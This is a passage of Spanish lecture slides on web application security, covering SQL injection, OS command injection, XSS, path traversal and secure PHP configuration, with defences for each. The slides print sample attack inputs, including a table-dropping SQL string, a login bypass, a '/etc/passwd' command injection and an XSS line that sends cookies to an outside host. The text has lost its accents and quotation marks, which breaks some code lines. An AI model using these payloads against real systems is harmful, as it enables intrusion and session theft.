Sanear todos los datos. Consiste en transformar
los datos en una representacin que no presente
riesgos. Por ejemplo, transformar (una comilla
simple) en (dos comillas simples) o < en &lt;. Es
buena como complemento a la primera estrategia
aunque no tanto para utilizarse sla porque es
difcil sanear todos los datos
Seguridad en Sistemas Informticos e Internet 96
Seguridad en la Aplicacin
Estrategias de proteccin
Nunca debe confiarse en la validacin de datos en el
cliente ya que puede puentearse con facilidad. Toda
la validacin de datos debe realizarse en el servidor
Conceptos errneos sobre la validacin en el cliente:
El atributo MAXLENGTH limitar los caracteres que el
usuario puede introducir
El atributo READONLY evitar que el usuario pueda
modificar un valor
Los campos de tipo HIDDEN no se pueden modificar
Las cookies no se pueden modificar
Las listas desplegables o botones de radio limitan los
valores de entrada
Todos los campos del formulario sern enviados
Slo los campos del formulario sern enviados
Seguridad en Sistemas Informticos e Internet 97
Seguridad en la Aplicacin
Prctica 4: Validacin de datos
Validacin de datos en el servidor
Creacin de un formulario en PHP con validacin de
los datos de entrada
Uso de expresiones regulares para validar los datos
de entrada
Seguridad en Sistemas Informticos e Internet 98
Seguridad en la Aplicacin
Vulnerabilidades especficas
Las vulnerabilidades comunes ms peligrosas que
resultan de una falta de proteccin adecuada ante
los datos de entrada son:
Inyeccin SQL
Inyeccin de rdenes del SO
Inyeccin HTML (Cross-site Scripting o XSS)
Path Traversal
Buffer Overflow
Seguridad en Sistemas Informticos e Internet 99
Seguridad en la Aplicacin
Inyeccin SQL
Consiste en inyectar un mandato dentro de una
consulta SQL. Sea la consulta:
$consulta = SELECT titulo FROM libros WHERE
codigo = $codigo;
siendo $codigo un valor introducido desde un
formulario. Si el valor es 23 la consulta ser:
SELECT titulo FROM libros WHERE codigo = 23
Si el valor es 23; DROP TABLE users la consulta es:
SELECT titulo FROM libros WHERE codigo = 23; DROP
TABLE users
que destruira la tabla de usuarios de MySQL
Seguridad en Sistemas Informticos e Internet 100
Seguridad en la Aplicacin
Inyeccin SQL
Sea ahora el siguiente cdigo muy habitual en una
aplicacin Web:
$consulta = SELECT id FROM usuarios WHERE
username = $username AND password =
$password;
Si se introducen los valores juan como username y
jj.ssii como password, la consulta queda:
SELECT id FROM usuarios WHERE username = juan
AND password = jj.ssii
Seguridad en Sistemas Informticos e Internet 101
Seguridad en la Aplicacin
Inyeccin SQL
Se puede saltar la comprobacin del password
introduciendo el valor juan-- como username o el
valor OR = como password. Las consultas que
quedaran en ambos casos son, respectivamente:
SELECT id FROM usuarios WHERE username = juan--
AND password =
SELECT id FROM usuarios WHERE username = juan AND
password = OR =
En el primer caso ntese que -- es un comentario
de lnea en MySQL y provoca que se ignore todo lo
que viene tras l en la lnea
Seguridad en Sistemas Informticos e Internet 102
Seguridad en la Aplicacin
Inyeccin SQL
La inyeccin SQL puede utilizarse para:
Cambiar valores de las consultas
Concatenar varias consultas
Aadir llamadas a funcin y procedimientos
almacenados a una consulta
Para evitar la inyeccin SQL es muy importante
validar los valores que se han de integrar en
la consulta SQL. En el primer caso, por ejemplo,
$codigo debe ser un valor entero
Seguridad en Sistemas Informticos e Internet 103
Seguridad en la Aplicacin
Inyeccin SQL
Ejercicio: inyeccin de una orden SQL desde un
formulario
Seguridad en Sistemas Informticos e Internet 104
Seguridad en la Aplicacin
Inyeccin de rdenes del SO
Casi todos los lenguajes de programacin disponen
de funciones que permiten la ejecucin de rdenes
del Sistema Operativo
En PHP, por ejemplo, se tienen las funciones exec()
y system(). Estas funciones son tiles para tareas
como el manejo de ficheros o el envo de correo,
pero plantean serios riesgos ya que se pueden
manipular para:
Alterar las rdenes ejecutadas
Alterar los parmetros pasados a las rdenes del
sistema
Ejecutar rdenes adicionales

Seguridad en Sistemas Informticos e Internet 105
Seguridad en la Aplicacin
Inyeccin de rdenes del SO
Sea, por ejemplo, el siguiente cdigo PHP:
system (ls $directorio);
Si el valor de la variable $directorio fuese /tmp;
cat /etc/passwd, se mostrara el fichero de
passwords del sistema ya que se ejecutara la
orden
ls /tmp; cat /etc/passwd

Seguridad en Sistemas Informticos e Internet 106
Seguridad en la Aplicacin
Inyeccin de rdenes del SO
Una solucin a este problema es utilizar la funcin
escapeshellarg(), que coloca unas comillas
englobando al parmetro y elimina las que pudiera
haber dentro del mismo:
system (ls . escapeshellarg($directorio));
De esta manera, la orden que se ejecutara ahora
sera
ls /tmp; cat /etc/passwd
Seguridad en Sistemas Informticos e Internet 107
Seguridad en la Aplicacin
Inyeccin de rdenes del SO
La mejor proteccin contra este ataque es limitar
toda informacin pasada a las rdenes del sistema
nicamente a valores conocidos
Si estos valores no pueden ser enumerados, la
alternativa es limitar el tamao al mnimo valor
posible y sanear los caracteres que pudieran
utilizarse para ejecutar otras rdenes
Tambin, y en la medida de lo posible, deben
utilizarse las funciones de biblioteca en lugar de
invocar rdenes del SO
Seguridad en Sistemas Informticos e Internet 108
Seguridad en la Aplicacin
Inyeccin de rdenes del SO
Ejercicio: inyeccin de una orden del sistema
operativo desde un formulario
Seguridad en Sistemas Informticos e Internet 109
Seguridad en la Aplicacin
Inyeccin HTML (Cross-site Scripting)
Consiste en insertar en un texto (p.ej. un mensaje de
un foro) cdigo malicioso (p.ej. JavaScript). Cuando
otro usuario visualice el texto el cdigo se ejecutar
en su mquina. Por ejemplo, si se inserta el texto:
Una galleta?<script>alert(document.cookie)</script>
cuando un usuario lo visualice aparecer su cookie en
una ventana. Esto no es grave ya que cada usuario
visualiza su propia cookie, pero si se modifica as:
<script>document.write('<img src= "http:
//targetsite.com/'+document.cookie+'")</script>
dejar la cookie del usuario en el log del servidor del
atacante, que podra hacerse con la sesin
Seguridad en Sistemas Informticos e Internet 110
Seguridad en la Aplicacin
Inyeccin HTML (Cross-site Scripting)
Hay varios tipos de cosas que se pueden insertar
en el cdigo HTML de esta manera:
Marcas HTML, como <SCRIPT>, <A>, <IMG> o
<IFRAME>. El efecto se produce cuando el texto
se visualiza en el navegador de otro usuario
Eventos, como ONCLICK, asociados habitualmente
a elementos de formulario

Seguridad en Sistemas Informticos e Internet 111
Seguridad en la Aplicacin
Inyeccin HTML (Cross-site Scripting)
Para evitar este ataque es conveniente filtrar todos
los caracteres que tienen un significado especial en
HTML como , &, < y >. Los lenguajes disponen de
funciones especficas para ello. En PHP existe la
funcin htmlspecialchars()
Seguridad en Sistemas Informticos e Internet 112
Seguridad en la Aplicacin
Inyeccin HTML (Cross-site Scripting)
Ejemplo: el siguiente cdigo muestra el campo
mensaje de un registro recuperado de una tabla
print <TD>;
print $fila[mensaje];
print </TD>;
Si el mensaje contiene caracteres HTML puede ser
peligroso. Para solucionarlo se modifica el cdigo:
print <TD>;
print htmlspecialchars($fila[mensaje]);
print </TD>;
Seguridad en Sistemas Informticos e Internet 113
Seguridad en la Aplicacin
Inyeccin HTML (Cross-site Scripting)
Esta solucin no siempre es vlida. En el cdigo
//llamada: pag.php?imagen=javascript:alert(document.cookie);
print <IMG SRC=. htmlspecialchars($_GET[imagen]) .>;
// resultado: <IMG SRC=javascript:alert(document.cookie);>
la funcin htmlspecialchars() no evita que se ejecute
el cdigo malicioso. La nica solucin es aceptar
siempre datos garantizados como buenos. En este
caso, slo se debe aceptar un parmetro que
corresponda a un nombre de fichero vlido:
if (preg_match('/^[0-9a-z_]+\.[a-z]+$/i',
$_GET[imagen]))
print <IMG SRC= . $_GET[imagen] . >;
Seguridad en Sistemas Informticos e Internet 114
Seguridad en la Aplicacin
Inyeccin HTML (Cross-site Scripting)
Ejercicio: almacenamiento de un script en el
servidor y posterior visualizacin del mismo
Seguridad en Sistemas Informticos e Internet 115
Seguridad en la Aplicacin
Path Traversal
Una aplicacin es vulnerable a este tipo de ataques
cuando el atacante puede construir peticiones que
le permiten acceder a ficheros localizados fuera de
la raz de la Web, como por ejemplo /etc/passwd
Para ello utiliza caracteres como ../ en los
parmetros que representan nombres de fichero. Si
el atacante accede a directorios del sistema, podra
llegar incluso a ejecutar mandatos del sistema
Seguridad en Sistemas Informticos e Internet 116
Seguridad en la Aplicacin
Path Traversal
Sea por ejemplo el siguiente cdigo PHP:
include (/lib/ . $cabecera);
Si la variable $cabecera toma el valor
../etc/passwd, se mostrara el fichero de
passwords del sistema
Seguridad en Sistemas Informticos e Internet 117
Seguridad en la Aplicacin
Path Traversal
Para evitar estos ataques hay que utilizar las
funciones de normalizacin de rutas que suelen
tener los lenguajes
En PHP para chequear nombres de ficheros se
utilizan las funciones realpath() y basename(). La
primera convierte direcciones relativas en absolutas
y la segunda toma una ruta y devuelve la parte
correspondiente al nombre del fichero. En el
ejemplo anterior tendramos:
$cabecera2 = basename (realpath($cabecera));
if ($cabecera2 == $cabecera)
include (/lib/ . $cabecera);
Seguridad en Sistemas Informticos e Internet 118
Seguridad en la Aplicacin
Path Traversal
Otra defensa contra los nombres de ficheros
incorrectos en PHP es la directiva de configuracin
open_basedir:
open_basedir = /alguna/ruta // en php.ini
PHP limitar las operaciones sobre ficheros al
directorio especificado y sus subdirectorios. As, por
ejemplo,
include (/alguna/ruta/lib.php); // permitido
include (/otra/ruta/lib.php); // da un error
// de ejecucin
Seguridad en Sistemas Informticos e Internet 119
Seguridad en la Aplicacin
Path Traversal
Ejercicio: acceso a ficheros del sistema
Seguridad en Sistemas Informticos e Internet 120
Seguridad en la Aplicacin
Buffer Overflow
Este ataque consiste en corromper la pila de
ejecucin de una aplicacin enviando unos datos de
entrada especialmente preparados con tal fin
El objetivo es conseguir la ejecucin de un cdigo
enviado por el atacante y tomar el control de la
mquina
Estas vulnerabilidades no son fciles de detectar y,
de hacerse, son muy difciles de explotar
Seguridad en Sistemas Informticos e Internet 121
Seguridad en la Aplicacin
Buffer Overflow
Las vulnerabilidades pueden estar presentes en las
herramientas (como el servidor web) o bibliotecas
externas, siendo en tal caso conocidas
pblicamente y por tanto ms peligrosas. La nica
proteccin contra ellas consiste en tener
actualizadas todas las herramientas
Tambin pueden encontrarse en la aplicacin,
siendo ms difciles de explotar porque habr
menos atacantes. Adems, en caso de descubrirlas
no ser fcil aprovecharlas ya que desconocen el
cdigo fuente de la aplicacin. La proteccin pasa
por comprobar todo el cdigo que acepta datos de
entrada para asegurar que chequea su tamao
Seguridad en Sistemas Informticos e Internet 122
Seguridad en la Aplicacin
Programacin segura
Para evitar o al menos disminuir las
vulnerabilidades de una aplicacin web es muy
importante seguir unas correctas prcticas de
programacin. Veamos algunas de las ms
importantes:
Inicializacin de variables
Gestin de errores
Proteccin de informacin

Seguridad en Sistemas Informticos e Internet 123
Seguridad en la Aplicacin
Inicializacin de variables
Sea el siguiente cdigo:
if (comprueba_privilegios())
$superuser = true;
Una llamada de la forma
pagina.php?superuser=1
permitira obtener privilegios de superusuario. Este
problema se soluciona dando un valor inicial a la
variable $superuser:
$superuser = false;
if (comprueba_privilegios())
$superuser = true;
Seguridad en Sistemas Informticos e Internet 124
Seguridad en la Aplicacin
Inicializacin de variables
En general es recomendable inicializar todas las
variables antes de usarlas
En PHP se puede usar la directiva
error_reporting=E_ALL que hace que se muestre un
mensaje de aviso cuando se use una variable que
no haya sido previamente inicializada
Seguridad en Sistemas Informticos e Internet 125
Seguridad en la Aplicacin
Inicializacin de variables
Tambin se puede deshabilitar register_globals en
el fichero php.ini
La directiva register_globals establece si se admite
o no la creacin automtica de variables globales
A partir de PHP 4.2.0 el valor por defecto de esta
directiva es off, que es el valor recomendable
Para acceder a las variables globales se deben
utilizar los arrays globales $_SERVER, $_ENV,
$_REQUEST, $_GET, $_POST, $_COOKIE, $_FILES,
$_SESSION y $_GLOBALS
Seguridad en Sistemas Informticos e Internet 126
Seguridad en la Aplicacin
Inicializacin de variables
PHP crea automticamente variables globales a
partir del entorno (E), las cookies (C), la informacin
del servidor (S) y los parmetros GET (G) y POST (P)
La directiva variables_order controla el orden de
estas variables. El valor por defecto es EGPCS
Permitir la creacin de variables globales desde
parmetros GET y POST y desde cookies es
potencialmente peligroso. Un posible valor para
variables_order que evita esto es ES
En tal caso para acceder a los parmetros de los
formularios y a las cookies hay que usar los arrays
globales $_REQUEST, $_GET, $_POST y $_COOKIE
Seguridad en Sistemas Informticos e Internet 127
Seguridad en la Aplicacin
Inicializacin de variables
Ejercicio: error en la autentificacin de usuarios
Seguridad en Sistemas Informticos e Internet 128
Seguridad en la Aplicacin
Gestin de errores
Los mensajes de error son una fuente de
informacin muy importante para los atacantes.
Pueden proporcionar informacin sensible que les
permita refinar sus ataques
En un entorno de produccin debe evitarse la
aparicin de mensajes de aviso o error. En PHP se
pueden utilizar las siguientes directivas en php.ini:
display_errors = off
log_errors = on
error_log = /var/log/php_errors.log
Los errores irn al fichero especificado en lugar de
mostrarse en la pantalla
Seguridad en Sistemas Informticos e Internet 129
Seguridad en la Aplicacin
Gestin de errores
Ejercicio: localizacin de pginas con errores
Seguridad en Sistemas Informticos e Internet 130
Seguridad en la Aplicacin
Proteccin de informacin
Toda informacin sensible debe almacenarse por
separado del programa que la utiliza y
preferentemente en un directorio situado fuera del
rbol de directorios de la Web para evitar que
pueda ser accedida por su URL
En PHP se puede hacer indicando la ruta completa
de los ficheros en las funciones include() y require()
o mediante la directiva include_path en php.ini:
include_path =
.:/usr/local/php:/usr/local/lib/myapp
De esta forma, aunque se revele el cdigo fuente
de los programas, no se mostrar informacin que
comprometa al sistema
Seguridad en Sistemas Informticos e Internet 131
Seguridad en la Aplicacin
Proteccin de informacin
Debe evitarse utilizar en el cdigo comentarios que
den demasiados detalles acerca del funcionamiento
del programa. Puede ser conveniente eliminarlos en
la versin de produccin de la aplicacin
Hay que suprimir las rdenes de depuracin
colocadas en el cdigo durante su desarrollo
Deben protegerse los ficheros que tengan el acceso
restringido. Para ello no basta con suprimir los
enlaces al fichero; alguien podra dar con su
nombre y obtenerlo directamente escribiendo su
URL. La seguridad a travs de la oscuridad no
funciona
Seguridad en Sistemas Informticos e Internet 132
Seguridad en la Aplicacin
Proteccin de informacin
Ejercicio: revelacin de informacin en el cdigo
fuente
Seguridad en Sistemas Informticos e Internet 133
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Seguridad en Sistemas Informticos e Internet 134
Seguridad en la Comunicacin
SSL
SSL (Secure Socket Layer) es un protocolo para
asegurar el transporte de datos entre el cliente y el
servidor web. Diseado inicialmente por Netscape,
hoy da es soportado por la mayora de los
servidores web
Podemos reconocer una conexin HTTP sobre SSL
porque aparece el prefijo https en lugar de http
en la URL
Seguridad en Sistemas Informticos e Internet 135
Seguridad en la Comunicacin
SSL
La versin actual de SSL es la 3 y a partir de ella se
est desarrollando un protocolo pblico por parte
del Internet Engineering Task Force (IETF), que se
conoce como TLS (Transport Layer Security) y es
compatible con SSL
Seguridad en Sistemas Informticos e Internet 136
Seguridad en la Comunicacin
SSL
SSL no es un protocolo simple sino que tiene dos
niveles de protocolos
El protocolo Record proporciona servicios de
seguridad bsica a varios protocolos de nivel ms
alto, entre ellos HTTP
Seguridad en Sistemas Informticos e Internet 137
Seguridad en la Comunicacin
SSL
SSL proporciona una comunicacin segura entre
cliente y servidor permitiendo la autentificacin
mutua, el uso de firmas digitales y garantizando
la privacidad mediante encriptacin. Una sesin
SSL se establece segn una secuencia de
operaciones
Seguridad en Sistemas Informticos e Internet 138
Seguridad en la Comunicacin
SSL
Seguridad en Sistemas Informticos e Internet 139
Seguridad en la Comunicacin
SSL
Seguridad en Sistemas Informticos e Internet 140
Seguridad en la Aplicacin
Prctica 5: SSL en Apache
Creacin de un certificado digital
Configuracin de Apache para utilizar el certificado
en una conexin SSL

También podría gustarte